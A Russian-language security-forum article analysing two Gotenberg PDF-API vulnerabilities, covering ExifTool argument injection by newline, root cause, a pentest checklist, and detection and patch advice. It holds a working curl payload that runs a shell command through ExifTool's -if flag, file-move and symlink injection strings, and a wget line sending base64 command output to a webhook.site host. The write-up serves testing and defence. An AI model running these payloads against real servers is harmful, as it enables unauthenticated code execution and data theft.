Статья CVE-2026-40281: инъекция аргументов ExifTool в Gotenberg - от path traversal до RCE через PDF API

Разобранный серверный модуль на антистатическом коврике под жёстким верхним светом. Экран диагностики отображает текст об инъекции аргументов с хроматическими артефактами в пурпурно-голубых тонах.


После разбора CVE-2021-22204 (argument injection в ExifTool через метаданные изображений) я проверяю каждый конвертер файлов, который встречаю на пентесте, на тот же класс ошибки: если сервис передаёт пользовательский ввод в ExifTool без санитизации управляющих символов - инъекция неизбежна. CVE-2026-40281 в Gotenberg подтвердила правило: CVSS 10.0, CWE-88 (Argument Injection), один POST-запрос без аутентификации - и файл перемещается куда угодно внутри контейнера. А связанная CVE-2026-42589 (CVSS 9.8, CWE-78) превращает path traversal в полноценный RCE через Perl-выражения ExifTool. Обе уязвимости Gotenberg затрагивают все версии до 8.31.0, включая v7.

Бизнес-логика атаки: зачем атакующему PDF-конвертер​

2731c90503d6cb25768af66e354759ea.webp

Gotenberg - stateless Docker-based API для генерации и обработки PDF. Типичное развёртывание: контейнер на порту 3000 внутри docker-compose стека или Kubernetes-кластера. По данным advisory Lyrie, Gotenberg используется в enterprise-пайплайнах обработки документов, SaaS-платформах (HR-системы, legal tech, бухгалтерия) и микросервисных архитектурах. Аутентификация по умолчанию отсутствует.

Для атакующего PDF-конвертер с argument injection уязвимостью - подарок:
  • Initial access без учётных данных. Порт 3000 торчит наружу -> вход открыт. Ни токенов, ни basic auth в дефолтной конфигурации.
  • Выполнение кода в контейнере. Процесс Gotenberg работает от uid=1001(gotenberg), но по данным Endor Labs, этот пользователь входит в группу root в дефолтном Docker-образе. Приятный бонус.
  • Доступ к обрабатываемым документам. Контейнер принимает файлы из других сервисов - контракты, персональные данные, финансовые документы пользователей платформы.

Место в цепочке атаки​

Эксплуатация CVE-2026-40281 и CVE-2026-42589 покрывает несколько этапов kill chain:
  1. Разведка - обнаружение Gotenberg через сканирование портов. Эндпоинт /version отдаёт номер версии без аутентификации (T1083, File and Directory Discovery).
  2. Initial Access - эксплуатация публично доступного API (T1190, Exploit Public-Facing Application). Один POST к /forms/pdfengines/metadata/write.
  3. Execution - CVE-2026-42589 инъецирует Perl-выражения в флаг ExifTool -if. Indirect Command Execution (T1202) с последующим вызовом Unix Shell (T1059.004).
  4. Persistence - перезапись startup-скриптов контейнера через path traversal (CVE-2026-40281) или Web Shell (T1505.003) при доступности web root.
  5. Collection - чтение файлов контейнера через OOB-эксфильтрацию (T1005, Data from Local System).
Критический момент для OPSEC: при RCE через CVE-2026-42589 сервер возвращает HTTP 200 с валидным PDF. Никакого алерта в логах API-шлюза (A09:2021 - Security Logging and Monitoring Failures). Атака полностью прозрачна для мониторинга на уровне HTTP-статусов. Если ваш SOC смотрит только на 4xx/5xx - он слеп.

Root cause: неполный фикс v8.30.1 и CWE-88​

1784488928638.webp

CVE-2026-40281 - обход патча, введённого в коммите 405f106 (Gotenberg v8.30.1). Разработчики добавили regex safeKeyPattern для валидации ключей метаданных, блокируя опасные ExifTool pseudo-tags (-FileName, -Directory). Значения метаданных не проверяются. Библиотека go-exiftool записывает пары ключ-значение в stdin ExifTool так:
Код:
// go-exiftool: передача данных в stdin ExifTool
fmt.Fprintln(e.stdin, "-"+k+"="+str)
// При str = "test\n-FileName=/tmp/pwned"
// ExifTool получает ДВЕ строки:
//   -Title=test
//   -FileName=/tmp/pwned
Символ \n в значении str разрывает строку на два аргумента stdin. ExifTool интерпретирует -FileName=/tmp/pwned как самостоятельную команду - и перемещает обрабатываемый файл.

Фикс v8.30.1 защитил не ту сторону знака =. Классика.

Инъецируемые pseudo-tags и их эффект​

Pseudo-tagЭффектИмпакт
-FileNameПереименование/перемещение файлаПерезапись произвольных файлов в контейнере
-DirectoryИзменение целевой директорииПеремещение PDF в /etc/, /var/
-SymLinkСоздание символической ссылкиRead/write-примитивы для дальнейшей эксплуатации
-HardLinkСоздание жёсткой ссылкиПерсистентность данных за пределами temp-директории

Комбинация двух \n позволяет инъецировать сразу -Directory=/etc/ и -FileName=passwd - PDF перемещается в /etc/passwd, убивая user database контейнера. По OWASP это A03:2021 - Injection и A06:2021 - Vulnerable and Outdated Components (уязвимая версия go-exiftool без санитизации на стороне вызывающего кода).

Воспроизведение: от fingerprinting до RCE​

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

HTTP 404 - индикатор успешной эксплуатации. Gotenberg пытается вернуть файл после обработки, но ExifTool уже переместил его в /tmp/inject_proof. Верификация: docker exec gotenberg-test ls -la /tmp/inject_proof покажет перемещённый PDF.

Для создания symlink - payload "test\n-SymLink=/tmp/sym_inject". Symlink создаётся по указанному пути, указывая на исходный PDF. Через такой symlink открывается read-примитив при последующих запросах к обработке файлов.

Эскалация до RCE через ключи метаданных (CVE-2026-42589)​

Связанная CVE-2026-42589 (CVSS 9.8, CWE-78 - OS Command Injection) использует тот же механизм, но инъекция идёт через ключи JSON-объекта. Разница: \n в ключе позволяет инъецировать флаг ExifTool -if, который принимает Perl-выражение и выполняет его. Функция system() в Perl вызывает произвольную команду ОС.
Bash:
curl -s -o /dev/null -w "HTTP:%{http_code}" -X POST http://localhost:3001/forms/pdfengines/metadata/write -F 'files=@test.pdf;type=application/pdf' --form-string $'metadata={"Title\\n-if\\nsystem(\'id>/tmp/pwned\')||1\\n-Comment":"x"}'
# HTTP:200 - команда выполнена, сервер вернул валидный PDF
Stdin ExifTool получает четыре строки: -Title, -if, system('id>/tmp/pwned')||1, -Comment=x. Флаг -if обрабатывает следующий аргумент как Perl - system() выполняет id>/tmp/pwned на сервере.

Для OOB-эксфильтрации (по данным PoC из Endor Labs): результат команды кодируется в base64 и отправляется через wget на контролируемый webhook - wget -q -O /dev/null "https://webhook.site/ID?c=$(id|base64|tr -d '=\n')". Ответ Gotenberg - HTTP 200, валидный PDF, нулевой сигнал для WAF и API gateway.

CISA SSVC оценивает CVE-2026-42589: Technical Impact - total, Automatable - yes. На GitHub доступен публичный PoC-репозиторий (fineman999/POC_CVE-2026-42589), а в ProjectDiscovery Nuclei Templates есть готовый шаблон CVE-2026-42589.yaml для автоматизированного сканирования.

Сравнение двух векторов инъекции​

КритерийCVE-2026-40281 (значения)CVE-2026-42589 (ключи)
CVSS10.0 (S:C - Changed scope)9.8 (S:U - Unchanged scope)
CWECWE-88 (Argument Injection)CWE-78 (OS Command Injection)
ИмпактПеремещение/перезапись файлов, symlinkПолный RCE: shell, чтение/запись, reverse shell
HTTP-ответ при успехе404 (файл перемещён)200 (без индикаторов)
ДетектируемостьАномальный HTTP 404Практически невидима на уровне HTTP
Nuclei-шаблонНетДа (CVE-2026-42589.yaml)
EPSS (30 дней)0.0061, перцентиль 45%0.0295, перцентиль 86%
CISA Technical Impactpartialtotal
ФиксGotenberg >= 8.31.0Gotenberg >= 8.31.0

EPSS для CVE-2026-42589 значительно выше - перцентиль 86% означает вероятность эксплуатации в дикой природе выше, чем у 86% всех CVE в базе FIRST.org. Наличие Nuclei-шаблона и Python PoC опускает порог входа до уровня script kiddie.

Ограничения техники и предусловия​

Работает если:
  • Gotenberg <= 8.30.1 (все v7 и v8 до фикса - подтверждено OSV.dev)
  • Эндпоинт /forms/pdfengines/metadata/write доступен по сети
  • Аутентификация не настроена (дефолт) или обходима
  • Контейнер имеет исходящий сетевой доступ (для OOB-эксфильтрации при RCE)
Не работает если:
  • Gotenberg >= 8.31.0 - значения и ключи санитизируются на \n, \r, \x00
  • Перед Gotenberg стоит authenticating reverse proxy (nginx с basic auth, API gateway с JWT)
  • Эндпоинт metadata/write закрыт на уровне reverse proxy (не все деплойменты его используют)
  • Контейнер запущен с --read-only filesystem - path traversal (CVE-2026-40281) не запишет файл, но RCE (CVE-2026-42589) продолжит работать для чтения и сетевых операций
  • Kubernetes NetworkPolicy или Docker network isolation блокирует исходящие соединения - OOB-эксфильтрация невозможна, но blind RCE остаётся
Контекст применимости: внутренний пентест, атака на микросервисную архитектуру из скомпрометированного соседнего пода, pivot через SSRF в другом сервисе. На внешнем пентесте - только при случайном expose Gotenberg наружу (staging-среды, dev-окружения без firewall rules).

Детектирование и артефакты​

CVE-2026-42589 возвращает HTTP 200 с валидным PDF - стандартный мониторинг HTTP-статусов к этой атаке слеп. Но артефакты остаются на нескольких уровнях.

Файловая система контейнера: появление файлов в нетипичных директориях (/tmp/inject_proof), symlinks в рабочих директориях Gotenberg, изменение timestamps системных файлов. Инструмент pspy внутри контейнера покажет порождение дочерних процессов sh -c из ExifTool.

Процессы и системные вызовы: strace на процессе ExifTool выявит execve с аргументами, содержащими -if и system(). Любой мониторинг порождения shell из ExifTool - аномалия. Shell из ExifTool - это не нормально, точка.

Сеть: исходящие HTTP/DNS-запросы от контейнера Gotenberg на нехарактерные адреса (OOB callback). POST к /forms/pdfengines/metadata/write с \n в теле multipart-запроса - детектируемо на уровне WAF, если тот умеет инспектировать multipart content.

Container runtime security: правило Falco или Sysdig на порождение sh/bash из процесса exiftool или gotenberg и на запись файлов за пределами /tmp/gotenberg-*.

Чеклист: аудит Gotenberg на пентесте​

  1. Просканировать внутреннюю сеть на порт 3000 (дефолт Gotenberg), проверить /version и /health без аутентификации
  2. Определить версию - все сборки <= 8.30.1 уязвимы к обоим CVE
  3. Проверить доступность /forms/pdfengines/metadata/write - если эндпоинт отвечает, переходить к эксплуатации
  4. Попробовать path traversal (CVE-2026-40281) через \n в значении метаданных - индикатор успеха: HTTP 404
  5. При подтверждении path traversal - попробовать RCE (CVE-2026-42589) через \n в ключе с -if system('id')
  6. Для эксфильтрации использовать OOB через webhook с base64-кодированием результата
  7. Проверить наличие --read-only и сетевых ограничений контейнера - определяет границы импакта
  8. Зафиксировать в отчёте: CVSS 10.0 (CVE-2026-40281), CVSS 9.8 (CVE-2026-42589), вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H, рекомендация - обновление до >= 8.31.0 и authenticating proxy перед API
Обе уязвимости в Gotenberg - кейс о том, как частичная валидация создаёт иллюзию безопасности. Причём иллюзия хуже отсутствия валидации: с ней разработчики закрывают issue и идут дальше. Разработчики увидели проблему с опасными pseudo-tags в ключах метаданных, написали regex safeKeyPattern, зарелизили v8.30.1 - и закрыли issue. Значения не проверили. Не халатность - слепая зона: "ключи - управляющие данные, значения - просто строки". Но ExifTool получает и то, и другое через один stdin-конвейер с \n как разделителем. Ключ и значение тут - эквивалентные векторы инъекции.

Тот же паттерн я вижу в каждом втором конвертере, который вызывает CLI-утилиты под капотом: ImageMagick, FFmpeg, LibreOffice - везде, где пользовательский ввод попадает в аргументы через конкатенацию строк, вопрос не "если", а "когда" найдут инъекцию.

Отдельная история - CVSS 10.0 для path traversal (CVE-2026-40281) при том, что реальный RCE (CVE-2026-42589) получил "только" 9.8. Парадокс объясняется Changed Scope: перемещение файлов через symlink/hardlink может затронуть хост или соседние контейнеры, а RCE ограничен текущим контейнером (Unchanged Scope). Формально логика CVSS корректна, но на практике я бы всегда начинал с CVE-2026-42589 - один запрос, HTTP 200, shell. Path traversal полезен для persistence через перезапись startup-скриптов, но это вторичный шаг. EPSS подтверждает эту интуицию: 86-й перцентиль для RCE против 45-го для path traversal. Готовый Nuclei-шаблон для CVE-2026-42589 означает, что массовое сканирование - вопрос дней, если не часов.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab